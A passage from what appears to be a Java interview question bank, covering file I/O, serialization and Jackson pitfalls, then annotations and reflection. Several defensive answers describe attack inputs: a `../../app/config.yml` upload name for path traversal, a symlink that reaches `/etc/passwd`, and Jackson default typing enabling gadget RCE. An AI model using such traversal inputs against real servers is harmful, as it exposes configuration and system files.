- Do not delete the lock file on exit as that causes races; the lock, not the file existence, is the guard.
- Not reliable on NFS.

FOLLOW-UP TRAPS

- **Why store the lock in a static field?** Otherwise the channel may be garbage collected and the lock released.
- **Is checking `Files.exists` as a guard OK?** No, it is racy and leaves stale files after crashes.

#filelock #single-instance

Q75 A temp-file directory fills the disk on a server running for months. Cause? INTERMEDIATE

Temp files are created per request but never deleted; `deleteOnExit` only runs at JVM shutdown (and also leaks its internal path list), so a long-lived server accumulates them.

- Delete in `finally`/try-with-resources, or open with `DELETE_ON_CLOSE`.
- Use a dedicated subdirectory per job and a scheduled cleaner by age.
- Configure `-Djava.io.tmpdir` to a quota-limited volume; tmpfs `/tmp` counts against RAM.

FOLLOW-UP TRAPS

- **Does the OS clean `/tmp`?** Possibly at reboot or via tmpfiles rules, not reliably.
- **Is `createTempFile` name predictable?** No, random.

#temp-files #leak #deleteonexit

Q76 Reading a 3 GB file with `Files.readAllBytes` throws. What error and what are the alternatives? BASIC

For files above about 2 GB it throws `OutOfMemoryError: Required array size too large` since arrays are indexed by `int`. Under the limit it may still exhaust the heap.

- Stream with a buffer and process chunks.
- Memory-map in windows when random access is needed.
- Use a `FileChannel` with a reused `ByteBuffer`.

FOLLOW-UP TRAPS

- **Does raising `-Xmx` fix it?** Not above the array limit.
- **Is `readString` any better?** It also loads all bytes and then builds a String, using roughly 2x memory.

#large-files #memory #readallbytes

Q77 You map a 6 GB file with FileChannel.map and get an exception. Fix? ADVANCED

`map` throws `IllegalArgumentException: Size exceeds Integer.MAX_VALUE`. Map the file in multiple windows (e.g., 1 GB each) and index across them, or use the Java 22+ FFM API where `FileChannel.map(mode, offset, size, Arena)` returns a `MemorySegment` with long offsets.

```
long win = 1L << 30;
for (long pos = 0; pos < size; pos += win) {
    MappedByteBuffer b = ch.map(MapMode.READ_ONLY, pos, Math.min(win, size - pos));
    scan(b);
}
```

- Records straddling a window boundary need overlap handling.
- Unmapping is GC-driven for `MappedByteBuffer`; many large windows can hit address-space or `OutOfMemoryError: Map failed`.

FOLLOW-UP TRAPS

- **Does the whole file get loaded into RAM?** No, only touched pages.
- **How does the Java 22 API free memory?** Closing the `Arena` unmaps deterministically.

#mmap #large-files #limits

Q78 Two JVMs share a memory-mapped file for IPC. What do you need to be careful of? ADVANCED

The mapping is shared via the page cache, so writes by one process are visible to the other, but without proper ordering. Use a file layout with a sequence number or header, write payload first and then publish the length/flag with ordered or volatile semantics (`VarHandle`) and handle torn reads.

- Java gives no cross-process mutexes in mapped memory; use atomic fields via `VarHandle` on a `ByteBuffer`, or a lock file.
- `force()` is for durability, not visibility between processes.
- Libraries like Chronicle Queue and Aeron implement this robustly.

FOLLOW-UP TRAPS

- **Is `force()` needed so the other process sees the write?** No, the page cache is shared.
- **Can a reader see a half-written record?** Yes, without a commit marker.

#mmap #ipc #concurrency

Q79 A request returns a big report. How do you stream it without building it in memory? INTERMEDIATE

Write directly to the response stream (`StreamingResponseBody` in Spring MVC, or `HttpServletResponse.getOutputStream()`), fetching rows with a streaming cursor, and flush periodically.

```
@GetMapping("/export")
StreamingResponseBody export() {
    return out -> {
        try (var w = new BufferedWriter(new OutputStreamWriter(out, UTF_8))) {
            repo.streamAll(row -> write(w, row));
        }
    };
}
```

- Use DB fetch size/cursor (`setFetchSize`, `Stream` return types) in a transaction.
- Streaming means errors after the first bytes cannot change the HTTP status; the client sees a truncated response.
- Configure async timeouts and a task executor.

FOLLOW-UP TRAPS

- **Can you still return HTTP 500 midway?** No, headers were already sent.
- **Does a returned `List` stream lazily?** No, it is fully materialised first.

#streaming #export #spring

Q80 **Your CSV importer reads a file with `line.split(",")` and mangles a row `1,"Smith, John",NY`. What now?** BASIC

`split(",")` yields four fields (`1`, `"Smith`, `John"`, `NY`) because it ignores quotes. Use a proper CSV parser that implements RFC 4180 quoting and escaped double quotes (`""`).

- Also embedded newlines within quotes break `readLine` loops.
- Trailing empty fields are dropped by `split(",")` without a limit argument (`split(",", -1)` keeps them).

FOLLOW-UP TRAPS

- **Does `split(",", -1)` fix the quotes?** No, only the trailing empties.
- **Is the delimiter always a comma?** No (semicolon in many locales); make it configurable.

#csv #parsing #bug

Q81 **Import of 50 million CSV rows into a DB takes hours. How do you speed it up?** ADVANCED

Stream the file, batch JDBC inserts (500-5000 rows per `executeBatch` and commit), use `rewriteBatchedStatements=true` (MySQL) or `reWriteBatchedInserts=true` (PostgreSQL), or the DB bulk loader (`COPY`, `LOAD DATA`).

- Drop or defer secondary indexes/constraints during the load, then rebuild.
- Parse and insert in a pipeline: reader thread to bounded queue to writer threads.
- Track progress (last committed line) for restartability.

FOLLOW-UP TRAPS

- **Why not commit per row?** Each commit is an fsync; throughput collapses.
- **What if one bad row fails the batch?** Catch `BatchUpdateException`, quarantine bad rows, and continue.

#csv #batch #jdbc #performance

Q82 **What does this print, and how do you fix it?** INTERMEDIATE

It prints `body 1`. The body exception is primary, and the `close` exception is attached as a suppressed exception. With old `try/finally`, `close`'s exception would have replaced `body`.

- Log `e.getSuppressed()` in diagnostics; many loggers print them automatically.

FOLLOW-UP TRAPS

- **If only `close()` throws?** That exception propagates normally.
- **Is the suppressed list populated if you disable suppression?** `Throwable` constructed with `enableSuppression=false` ignores it.

#try-with-resources #exceptions #suppressed

Q83 What is wrong with this code that wraps streams? INTERMEDIATE

If the `GZIPInputStream` constructor throws (e.g., file is not gzip, header read fails, `ZipException` / `EOFException`), the `FileInputStream` was already created but never assigned to a resource, so it leaks.

```
try (var fin = new FileInputStream(path);
     var gz = new GZIPInputStream(fin)) { /* read */ }
```

- `Files.newInputStream` plus a separate declaration avoids the leak.
- Most JDK stream constructors that read headers can throw.

FOLLOW-UP TRAPS

- **Does closing `gz` close `fin`?** Yes, but only if `gz` was constructed.
- **Would the GC close it?** Eventually via cleaner, nondeterministically.

#try-with-resources #leak #decorator

Q84 Users upload a file named `../../app/config.yml` and overwrite your configuration. Fix the code `Files.copy(in, uploadDir.resolve(name))`. INTERMEDIATE

Never use client names as paths. Generate a server-side name (UUID) and store the original name as metadata. If you must use the name, take only `Path.of(name).getFileName()`, normalize and check `startsWith(base)`.

- Reject names with NUL, separators, reserved Windows names.
- Store uploads outside the web root and without execute permission.
- Validate content type by sniffing, enforce size limits.

FOLLOW-UP TRAPS

- **Does `getFileName()` fully protect you?** It strips directories but a leading `..` alone can still be a name; also reject `.` and `..`.
- **Does `startsWith` need `toRealPath()`?** Yes, to defeat symlinks inside the upload directory.

#path-traversal #upload #security

Q85 A symlink inside the upload directory points to /etc. How does it affect your safety checks? ADVANCED

`normalize()` is purely lexical so `uploads/link/passwd` passes `startsWith(base)` but actually reads `/etc/passwd`. Resolve real paths and use `LinkOption.NOFOLLOW_LINKS`.

```
Path real = target.toRealPath();
if (!real.startsWith(base.toRealPath())) throw new SecurityException();
Files.readString(target); // or open with NOFOLLOW_LINKS
```

- Still racy (TOCTOU): a link can be swapped between check and use; open with `NOFOLLOW_LINKS` and prefer a directory the app alone controls.
- Zip extraction must not create symlinks from entries.

FOLLOW-UP TRAPS

- **Does `Files.isSymbolicLink` fully solve it?** Only checks the final element, not parents.
- **What is TOCTOU?** Time-of-check to time-of-use race between validating and opening.

#symlink #security #nofollow

Q86 A scheduled export writes `report.csv` and a downstream reader sometimes reads a half-written file. Fix? INTERMEDIATE

Write to `report.csv.tmp` (or a hidden name) in the same directory and `Files.move` with `ATOMIC_MOVE` to `report.csv` once complete. Readers only match final names, never `*.tmp`.

- Alternative: write a `report.csv.done` marker last.
- Do not rely on file size stabilising as proof of completion.

FOLLOW-UP TRAPS

- **Does a rename keep a reader that already opened the old file consistent?** Yes, on POSIX it keeps reading the old inode.
- **What about S3?** Object puts are atomic per key; you can upload directly.

#atomic-write #race-condition #handoff

Q87 You need to rotate a log file while the app writes to it. What is safe? ADVANCED

Renaming an open file is fine on POSIX since the handle follows the inode, so the writer would keep writing to the renamed file. Either let the logging framework (Logback/Log4j2 rolling appenders) close and reopen, or use copy-truncate (which can lose lines written between the copy and truncation).

- With external `logrotate`, use `create` plus a signal to reopen, or `copytruncate` as a last resort.
- On Windows, renaming an open file fails.

FOLLOW-UP TRAPS

- **Why does the app keep filling the old file after rotation?** It holds the old descriptor open.
- **Does Logback lose logs during rolling?** Not by default; the appender locks and switches files.

#logging #rotation #file-handles

Q88 A `BufferedWriter` is used for an audit log, but entries vanish on a crash. Why? INTERMEDIATE

Entries sit in the 8 KB Java buffer (and then the OS page cache) until flushed. A crash or `kill -9` loses buffered data; a power loss loses even flushed-but-not-fsynced data.

- Call `flush()` per record for process-crash safety.
- For power-loss durability use `FileChannel.force` or `SYNC` open options, balanced against throughput (group commit).
- Audit logs often go to a log pipeline or DB with transactional guarantees instead.

FOLLOW-UP TRAPS

- **Does `flush()` guarantee on-disk data?** No, only hand-off to the OS.
- **What does a normal `System.exit` do to the buffer?** Nothing; you must close or flush.

#buffering #flush #durability

Q89 A report prints `?` for non-Latin characters when written with `System.out` in a container. Cause? INTERMEDIATE

The console encoding is derived from the container's locale (often POSIX/ANSI_X3.4-1968), so unmappable characters become `?`. The data in memory is correct.

- Set `LANG=C.UTF-8`, `-Dstdout.encoding=UTF-8` (Java 19+) or `-Dfile.encoding=UTF-8` on older JVMs, or write bytes via `new PrintStream(System.out, true, UTF_8)`.
- For files, always specify the charset when writing.

FOLLOW-UP TRAPS

- **Does Java 18's UTF-8 default fix `System.out`?** No, it uses the separate stdout encoding.
- **Is the string itself corrupted?** No, encoding happens only at output.

#charset #stdout #containers

Q90 Deserializing an old `ArrayList` from disk after a refactor of your DTO package fails with `ClassNotFoundException`. Why? INTERMEDIATE

The stream records fully qualified class names. Renaming or moving a class breaks reads of old data.

- Workarounds: keep the old class as a stub, override `ObjectInputStream.resolveClass` to map old names to new classes, or migrate data with a converter job.
- Avoid storing Java-serialized blobs long-term; use schema'd formats.

FOLLOW-UP TRAPS

- **Does changing the UID fix it?** No, the class is not found at all.
- **Does moving a nested class matter?** Yes, the binary name (`Outer$Inner`) is recorded.

#serialization #refactoring #compatibility

Q91 A `Serializable` class holds a `Thread` and a `Connection`. What happens when serialized, and what's the proper design? BASIC

`NotSerializableException` for the first non-serializable field encountered. Mark such fields `transient` and re-create them lazily, or better, do not make resource-holding classes serializable; serialize a DTO with the needed state.

- Inner classes capture the outer instance, which can drag a non-serializable outer object into the graph.
- Lambdas are serializable only if the target interface is and captured values are serializable.

FOLLOW-UP TRAPS

- **Why does serializing an anonymous inner class fail?** It captures `this` of the enclosing instance.
- **Are lambdas serialized by default?** No, only when cast to a serializable functional interface.

#serialization #transient #design

Q92 After deserialization your `Singleton.getInstance() == deserialized` is false. Fix? INTERMEDIATE

Deserialization creates a new instance bypassing the private constructor. Add `private Object readResolve() { return INSTANCE; }` or, better, implement the singleton as a single-element `enum`.

- Reflection can also break a private-constructor singleton; enums defeat both.
- Make fields transient so no forged state leaks through.

FOLLOW-UP TRAPS

- **Does `readResolve` return type matter?** It must be assignable and the method name/signature exact.
- **Can an attacker read the instance before `readResolve`?** For crafted streams with references to the object, yes; enums avoid this.

#serialization #singleton #readresolve

Q93 Compare memory and speed: reading a 1 GB file via `FileInputStream.read()` one byte at a time vs buffered. What to expect? BASIC

Unbuffered single-byte reads issue about a billion system calls and can be 100-1000x slower than buffered or bulk reads. A `BufferedInputStream` or `read(byte[64k])` reduces it to tens of thousands of calls.

- The JIT cannot remove syscalls; the kernel transition dominates.
- Optimal buffer size is typically 8-64 KB; very large buffers give diminishing returns.

FOLLOW-UP TRAPS

- **Does `BufferedReader.read()` per char hurt?** It is a buffered call, cheap compared to syscalls (still a synchronized method).
- **Does the OS already cache?** Yes, but each syscall still costs.

#buffering #performance #syscalls

Q94 Reading a gzip log (`.gz` , 20 GB uncompressed) line by line. How? BASIC

Chain the decompressing stream into a reader; decompression is streamed with constant memory.

```
try (var in = new GZIPInputStream(Files.newInputStream(p), 64 * 1024);
     var r = new BufferedReader(new InputStreamReader(in, UTF_8))) {
    r.lines().filter(l -> l.contains("ERROR")).forEach(System.out::println);
}
```

- Gzip is not seekable, so parallel splitting needs bgzip or block-based formats (zstd frames, Parquet).
- CPU is likely the bottleneck rather than disk.

FOLLOW-UP TRAPS

- **Does `GZIPInputStream` handle concatenated gzip members?** Yes, since Java 7 it reads multiple members.
- **Can you jump to the middle of a gzip?** No, you must decompress from the start.

#gzip #streaming #large-files

Q95 A Kafka consumer decodes Avro messages and suddenly fails after the producer deployed a new schema. What are the likely causes? ADVANCED

Most likely an incompatible schema change (new required field without default, type change, removed field without default) or the consumer cannot fetch the writer schema from the registry.

- With a registry, enforce `BACKWARD` (or `FULL`) compatibility so registration of a breaking schema is rejected at publish time.
- Consumers use the writer schema id embedded in the message to resolve against their reader schema.
- Deploy consumers first for backward compatible changes, producers first for forward compatible.

FOLLOW-UP TRAPS

- **Which upgrades first under BACKWARD?** Consumers first, as new readers can read old data.
- **Does adding an optional field with default break old consumers?** No, they ignore it if using schema resolution.

#avro #schema-evolution #kafka

Q96 A Protobuf message field was removed and reused by a different type in a new version. What goes wrong? ADVANCED

Old messages or old senders still emit the old number with its old type. The new reader interprets the bytes using the new type: the data is silently corrupted or fails with parse errors. Field numbers must never be reused.

```
message User {
  reserved 3;
  reserved "legacy_email";
  string email = 4;
}
```

- `reserved` makes `protoc` reject accidental reuse.
- Same wire type reuse (e.g., int32 to int64) may appear to work but still has semantic risks.

FOLLOW-UP TRAPS

- **Are unknown fields dropped?** Protobuf 3.5+ preserves them on re-serialisation.
- **Is a default value distinguishable from unset in proto3?** Only for `optional` or message-typed fields.

#protobuf #schema-evolution #reserved

Q97 Your service stores JSON `long` ids and the JavaScript frontend shows wrong values. Why?

INTERMEDIATE

JavaScript numbers are IEEE 754 doubles with safe integers up to 2^53 - 1. A 64-bit id such as 9007199254740993 is rounded when parsed. Serialize ids as strings (`@JsonSerialize(using = ToStringSerializer.class)` or `JsonFormat.Shape.STRING`).

- Same problem with `BigDecimal` money values parsed by JS `Number`.
- Use ISO-8601 strings for dates and instants.

FOLLOW-UP TRAPS

- **Does the Java side lose data?** No, only the JS consumer.
- **Is this a Jackson bug?** No, it is a JSON/JavaScript limitation.

#json #jackson #precision

Q98 You serialize `LocalDateTime` with Jackson and clients get `[2026,10,4,9,30]`. How to emit ISO strings?

BASIC

`JavaTimeModule` writes dates as numeric arrays when `WRITE_DATES_AS_TIMESTAMPS` is enabled (default). Disable the feature to get ISO-8601 text like `"2026-10-04T09:30:00"`.

```
ObjectMapper om = new ObjectMapper()
    .registerModule(new JavaTimeModule())
    .disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS);
```

- Spring Boot sets this by default (`spring.jackson.serialization.write-dates-as-timestamps=false`).
- Prefer `Instant` / `OffsetDateTime` over `LocalDateTime` for wire formats to avoid timezone ambiguity.

FOLLOW-UP TRAPS

- **Why does `LocalDateTime` have no zone?** It is a local wall-clock value; cross-service data needs an offset or UTC.
- **Without the module on 2.12+?** `InvalidDefinitionException`.

#jackson #java-time #dates

Q99 Parsing a 2 GB JSON array with `om.readValue(file, new TypeReference<List<Event>>(){})` runs out of memory. What now?

INTERMEDIATE

`readValue` builds all `Event` objects (plus parser overhead) in memory. Iterate using the streaming parser or `MappingIterator`, handling one event at a time.

```
try (MappingIterator<Event> it =
         om.readerFor(Event.class).readValues(file)) {
    while (it.hasNext()) handle(it.next());
}
```

- This works for concatenated objects (NDJSON). For a top-level array use a `JsonParser` positioned after `START_ARRAY`.
- For files with one huge object, consider the pull parser and extract only needed fields.

FOLLOW-UP TRAPS

- **Does NDJSON reduce the problem?** Yes, each line is an independent record.
- **Does `JsonNode` tree parsing help?** No, still in memory.

#jackson #streaming #memory

Q100 A security scanner flags `ObjectMapper.enableDefaultTyping()` in your code. Is it real and how do you fix it? ADVANCED

It is real. Default typing lets payloads name arbitrary classes, which allows gadget chain RCE with vulnerable classes on the classpath. Replace with explicit subtype registration or a restrictive `PolymorphicTypeValidator`.

```
PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
    .allowIfSubType("com.acme.events.")
    .build();
om.activateDefaultTyping(ptv, ObjectMapper.DefaultTyping.NON_FINAL);
```

- Better still: `@JsonTypeInfo(use = Id.NAME)` and `@JsonSubTypes`.
- Keep Jackson up to date; it blocks known gadget classes.

FOLLOW-UP TRAPS

- **Does `Object`-typed property increase risk?** Yes, with default typing it accepts any class.
- **Is the allow-list by package prefix safe?** Only if every class in the package is safe to instantiate.

#jackson #security #default-typing

Q101 You extract a tar/zip and file permissions or timestamps are lost. What do you do? INTERMEDIATE

`ZipInputStream` / `ZipEntry` expose modified time but not Unix permission bits. Apache Commons Compress (`ZipArchiveEntry.getUnixMode`, `TarArchiveEntry.getMode`) reads them, and you then apply with `Files.setPosixFilePermissions`. Never apply setuid bits from untrusted archives.

- Set `Files.setLastModifiedTime` from the entry.
- For executables you ship yourself, restore mode 755 explicitly.
- Windows ignores POSIX attributes (`UnsupportedOperationException` for POSIX views).

FOLLOW-UP TRAPS

- **Does `Files.copy` into a zip FileSystem keep permissions?** The zip provider supports a `posix` view in newer JDKs only with an option.
- **Should you honour setuid from an archive?** No, mask them.

#zip #permissions #attributes

Q102 A read-only config file on a mounted volume throws `AccessDeniedException` on `Files.write`, but `File.canWrite()` returned true earlier. Why? INTERMEDIATE

Checks like `canWrite()` / `Files.isWritable` are advisory snapshots: permissions, ACLs, mount options and locks can change or differ from the effective access when you open the file. Just try the operation and handle the exception (EAFP).

- `AccessDeniedException` is a subclass of `FileSystemException` with the reason; legacy `File` methods return just `false`.
- Check-then-act sequences are racy (`exists` then `create`); use `CREATE_NEW` for atomic creation.

FOLLOW-UP TRAPS

- **What does `CREATE_NEW` do if the file exists?** Throws `FileAlreadyExistsException` atomically.
- **Does `isWritable` account for read-only mounts?** Sometimes not.

#permissions #toctou #exceptions

Q103 **Your batch copies many large files between mounts using `Files.move` and sometimes ends up with duplicates and partial files. Explain.** ADVANCED

Across filesystems `Files.move` is a copy followed by a delete, not an atomic rename. A crash mid-copy leaves a partial target, and a crash between copy and delete leaves duplicates. `ATOMIC_MOVE` would fail with `AtomicMoveNotSupportedException` instead of degrading.

- Copy to `target.tmp` on the destination filesystem, verify size or checksum, atomically rename within that filesystem, then delete the source.
- Make the job idempotent: skip when the destination exists with matching checksum.

FOLLOW-UP TRAPS

- **Can the temp file be on the source mount?** No, the final rename would again cross filesystems.
- **Is `REPLACE_EXISTING` atomic across mounts?** No.

#move #atomic #cross-filesystem

Q104 **Which file format and API would you pick to persist a large in-memory cache snapshot (1 GB) so a restart is fast?** ADVANCED

Avoid Java serialization (slow, fragile). Use a compact schema'd binary format (Protobuf/Avro/custom length-prefixed records) written as a stream, with a header (magic, version, count) and a trailing checksum, and load it in a streaming fashion.

- Write atomically: temp file, fsync, rename.
- Compress with LZ4/zstd if disk-bound.
- For random access and zero deserialisation consider memory-mapped fixed layouts (as Chronicle Map or Lucene do).
- Keep a version field so a loader can reject or migrate old snapshots, and fall back to a cold start on corruption.

FOLLOW-UP TRAPS

- **Why a checksum?** To detect truncated or corrupted snapshots rather than loading garbage.
- **Would you snapshot while the cache mutates?** Take a consistent copy or use a copy-on-write structure, else the snapshot is torn.

#design #snapshot #formats

CORE JAVA · CHAPTER 10

Annotations & Reflection

Built-in and custom annotations, retention and targets, annotation processing and Lombok, the Reflection API, modules and setAccessible, MethodHandles, dynamic proxies, runtime generics, framework usage, security and GraalVM native image.

104 questions **25** basic **48** intermediate **31** advanced

Theory

Q1 What is an annotation in Java and what can it do?

BASIC

An annotation is typed metadata attached to a program element (class, method, field, parameter, type use, package, module). It has no behaviour by itself; a compiler, tool or runtime library reads it and acts.

- Compile time: `@Override`, `@FunctionalInterface` are checked by `javac`.
- Source time: annotation processors generate code (Lombok, MapStruct, Dagger).
- Runtime: frameworks read them reflectively (Spring, JPA, JUnit).

FOLLOW-UP TRAPS

- **Does an annotation change how the annotated method executes?** No. Something else must read it.
- **Can an annotation extend another annotation?** No. Annotation types implicitly extend `java.lang.annotation.Annotation` and cannot extend anything.

#annotations #basics

Q2 Name the important built-in annotations.

BASIC

`@Override`, `@Deprecated`, `@SuppressWarnings`, `@FunctionalInterface` and `@SafeVarargs` are the core ones in `java.lang`.

- `@Override`: compile error if the method does not override or implement a supertype method.
- `@Deprecated(since="9", forRemoval=true)`: forRemoval produces a stronger warning.
- `@SuppressWarnings("unchecked")`: silences named compiler lints, keep the scope narrow.
- `@FunctionalInterface`: compile error if the interface has other than one abstract method.
- `@SafeVarargs`: asserts a generic varargs method is heap-pollution safe.

FOLLOW-UP TRAPS

- **Is `@FunctionalInterface` required to use a lambda?** No, it is only a compile-time guard.
- **Does `@Deprecated` stop the code from compiling?** No, only warns; `forRemoval=true` warns louder but still compiles.

#built-in #override #deprecated

Q3 How do you declare a custom annotation?

BASIC

Use `@interface`. Members are declared like abstract methods without parameters, may have `default` values, and are limited to primitives, `String`, `Class`, enums, annotations and one-dimensional arrays of those.

```
import java.lang.annotation.*;

@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
public @interface Timed {
    String name() default "";
    long warnAboveMs() default 500;
}
```

FOLLOW-UP TRAPS

- **Can a member be `Object` or `List<String>`?** No, only the permitted types.
- **Can a member default to `null`?** No, `null` is not a legal annotation value.

#custom #declaration

Q4 Explain RetentionPolicy SOURCE, CLASS and RUNTIME. BASIC

`@Retention` decides how long an annotation survives. `SOURCE` is discarded by the compiler, `CLASS` (the default) is written to the `.class` file but not available through reflection, `RUNTIME` is kept in the class file and visible via reflection.

- `@Override` is SOURCE; Spring's `@Component` is RUNTIME.
- CLASS is useful for bytecode tools (e.g. some static analyzers, ASM-based agents).

FOLLOW-UP TRAPS

- **What is the default retention if you omit `@Retention`?** `CLASS`, so `getAnnotation` returns `null` at runtime.
- **Why does my custom annotation not show up in reflection?** Almost always missing `@Retention(RUNTIME)`.

#retention #meta-annotations

Q5 What does @Target do and what ElementTypes exist? BASIC

`@Target` restricts where an annotation may be applied. Values include `TYPE`, `FIELD`, `METHOD`, `PARAMETER`, `CONSTRUCTOR`, `LOCAL_VARIABLE`, `ANNOTATION_TYPE`, `PACKAGE`, `TYPE_PARAMETER`, `TYPE_USE`, `MODULE`, `RECORD_COMPONENT`.

- Without `@Target`, an annotation applies to all declaration contexts (type-use contexts included since Java 14).
- `TYPE_USE` allows `List<@NonNull String>` and casts.
- Misplacing it is a compile error.

FOLLOW-UP TRAPS

- **Does `TYPE` cover annotation types?** Yes, it covers classes, interfaces, enums and annotation types; `ANNOTATION_TYPE` covers only annotation types.
- **Can a field annotation also apply to a getter?** Not automatically; only records and Kotlin apply propagation rules.

#target #element-type

Q6 What are meta-annotations? BASIC

Meta-annotations are annotations applied to annotation declarations: `@Retention`, `@Target`, `@Documented`, `@Inherited`, `@Repeatable`.

- `@Documented` includes the annotation in Javadoc.
- `@Inherited` lets a class annotation be inherited by subclasses.
- `@Repeatable` allows the same annotation more than once via a container annotation.

FOLLOW-UP TRAPS

- **Is `@Retention` itself annotated?** Yes, with `@Retention(RUNTIME)` and `@Target(ANNOTATION_TYPE)`.
- **Is `@Inherited` honoured on interfaces?** No, only class inheritance via `extends`.

#meta-annotations

Q7 How does @Inherited behave exactly? INTERMEDIATE

If a runtime annotation is meta-annotated `@Inherited` and placed on a class, `Class.getAnnotation` on a subclass finds it by walking up the superclass chain. It does not apply to methods, fields, interfaces or interface implementations.

- `getDeclaredAnnotations` never includes inherited ones; `getAnnotations` does.
- Spring's `AnnotatedElementUtils` / `MergedAnnotations` search interfaces and methods as well, which core reflection does not.

FOLLOW-UP TRAPS

- **Are annotations on an overridden method inherited by the override?** No. Core reflection does not look at the overridden method.
- **Are annotations on the interface a class implements visible via `getAnnotation`?** No.

#inherited #reflection

Q8 How do repeatable annotations work? INTERMEDIATE

Java 8 added `@Repeatable(Container.class)`. The compiler wraps repeated annotations into the container annotation, whose `value()` returns an array of the repeatable type.

```
@Retention(RetentionPolicy.RUNTIME) @Repeatable(Roles.class)
@interface Role { String value(); }
@Retention(RetentionPolicy.RUNTIME)
@interface Roles { Role[] value(); }

@Role("admin") @Role("auditor")
class Report {}
// Report.class.getAnnotationsByType(Role.class).length == 2
// Report.class.getAnnotation(Role.class) == null (they live in @Roles)
```

FOLLOW-UP TRAPS

- **Why does `getAnnotation(Role.class)` return null with two `@Role`?** The compiler stored them inside `@Roles`; use `getAnnotationsByType`.
- **Must the container have the same or longer retention?** Container retention must be at least as long as the repeatable's; target must be a subset-compatible.

#repeatable #java8

Q9 How do you read annotations with reflection? BASIC

`AnnotatedElement` (implemented by `Class`, `Method`, `Field`, `Constructor`, `Parameter`) offers `isAnnotationPresent`, `getAnnotation`, `getAnnotations`, `getDeclaredAnnotations` and `getAnnotationsByType`.

```
Method m = Service.class.getMethod("run");
Timed t = m.getAnnotation(Timed.class);
if (t != null) System.out.println(t.name() + " " + t.warnAboveMs());
```

- The returned object is a JDK-generated dynamic proxy implementing the annotation interface.
- Parameter names are only real if compiled with `-parameters`.

FOLLOW-UP TRAPS

- **What is the returned annotation object's class?** A `Proxy` class (e.g. `$Proxy12`), not a user class.
- **Do annotations on parameters via `getParameterAnnotations` line up with `getParameters`?** Yes by index, but synthetic/enum constructor parameters can shift counts.

#reflection #annotations

Q10 What are the rules for annotation member values? INTERMEDIATE

Values must be compile-time constants: literals, constant expressions, `Class` literals, enum constants, nested annotations, or arrays of these. A single-element `value` can be written without its name.

- `@SuppressWarnings("x")` is shorthand for `@SuppressWarnings(value = "x")`.
- Single-element arrays can omit braces: `@Target(ElementType.FIELD)`.
- `static final String` constants are fine, but a non-constant (`System.getenv()`) is not.

FOLLOW-UP TRAPS

- **Can I use a runtime-computed string such as a config property?** No. Frameworks resolve placeholders themselves (`@Value("${x}")`).
- **Does changing an annotation default break binary compatibility?** Callers already compiled read the default at runtime, so they see the new default.

#annotations #constants

Q11 How does an annotation processor (APT) work? INTERMEDIATE

`javac` discovers `Processor` implementations (via `META-INF/services/javax.annotation.processing.Processor` or `--processor-path`) and runs them in rounds. Each round the processor sees elements annotated with its supported annotations and may generate new source or class files, which trigger further rounds until no new files appear.

- Processors read the model through `javax.lang.model` (`Element`, `TypeMirror`), not reflection, because classes are not loaded yet.
- Generate files with `Filer`; report problems with `Messager`.
- It runs at build time, so there is no runtime cost.

FOLLOW-UP TRAPS

- **Can a processor modify an existing source file?** Not officially; it can only add new files. Lombok uses internal javac APIs to alter the AST.
- **Why is Gradle `annotationProcessor` configuration separate from `implementation`?** Since Java 9/Gradle 5, processors on the compile classpath are not auto-run; they must be explicit to keep builds fast and reproducible.

#apt #annotation-processing #javac

Q12 How does Lombok work under the hood? ADVANCED

Lombok registers as an annotation processor but, instead of only generating new files, it hooks into javac's (or ECJ's) internal AST and mutates the parsed tree of your class to add getters, constructors, `equals`, builders and so on before bytecode generation.

- It relies on non-public compiler internals, so each new JDK often needs a Lombok upgrade.
- IDEs need a plugin because they use their own compiler front ends.
- `delombok` produces plain Java if you need to drop it.

FOLLOW-UP TRAPS

- **Is Lombok a runtime library?** No, `compileOnly` / `provided` scope suffices; the generated bytecode has no dependency.
- **Why can Lombok see `@Getter` fields but not generated methods in other processors?** Processor ordering and rounds; a processor does not see another's AST mutations reliably, so MapStruct needs `lombok-mapstruct-binding`.

#lombok #apt #ast

Q13 What are the common Lombok pitfalls? INTERMEDIATE

Generated `equals/hashCode/toString` can be dangerous on JPA entities, and some annotations hide design problems.

- `@Data` on an entity includes lazy collections in `toString`, triggering lazy loading or `LazyInitializationException`.
- `@EqualsAndHashCode` on all fields breaks when a mutable or generated ID field changes in a `HashSet`.
- `@Builder` ignores field initializers unless `@Builder.Default` is used.
- `@AllArgsConstructor` order depends on field order; reordering fields silently changes the constructor.

FOLLOW-UP TRAPS

- **Does `@Builder` + field initializer `List<X> xs = new ArrayList<>()` work?** The builder's value is `null` unless `@Builder.Default` is added.
- **Should records replace `@Value`?** For plain immutable carriers on Java 16+, yes, records are the language-native option.

#lombok #pitfalls #jpa

Q14 What does the java.lang.Class object represent, and how can you obtain one? BASIC

`Class<T>` is the runtime representation of a loaded type and the entry point of reflection. One `Class` object exists per class per classloader.

- `Foo.class` literal (no initialization triggered).
- `obj.getClass()` (runtime type).
- `Class.forName("pkg.Foo")` (loads and initializes by default).
- `classLoader.loadClass("pkg.Foo")` (does not initialize).

FOLLOW-UP TRAPS

- **Does `Foo.class` run static initializers?** No. `Class.forName(name)` does, `loadClass` does not.
- **Are two `Class` objects for the same name always equal?** Not if loaded by different classloaders; this causes confusing `ClassCastException`s in app servers.

#class #reflection

Q15 How do getMethods and getDeclaredMethods differ? BASIC

`getMethods()` returns all public methods including inherited ones (from superclasses and interfaces). `getDeclaredMethods()` returns all methods declared in that class only, regardless of visibility, excluding inherited ones.

- The same pair exists for `Field` and `Constructor` (constructors are never inherited, so `getConstructors` is public only).
- Order of the returned arrays is not guaranteed.
- To find a private inherited method, walk `getSuperclass()` with `getDeclaredMethods`.

FOLLOW-UP TRAPS

- **Does `getDeclaredMethods` include bridge or synthetic methods?** Yes (e.g. generic bridge methods, lambdas `lambda$main$0`); check `isBridge()` / `isSynthetic()`.
- **Does `getMethods` include `Object` methods?** Yes, public ones such as `toString`, `wait`.

#reflection #method

Q16 How do you create an instance and call a method reflectively? BASIC

Get a `Constructor` via `getDeclaredConstructor(paramTypes)` and call `newInstance(args)`; get a `Method` via `getMethod(name, paramTypes)` and call `invoke(target, args)`.

```
Class<?> c = Class.forName("java.lang.StringBuilder");
Object sb = c.getDeclaredConstructor(String.class).newInstance("ab");
Method append = c.getMethod("append", String.class);
append.invoke(sb, "cd");
System.out.println(sb); // abcd
```

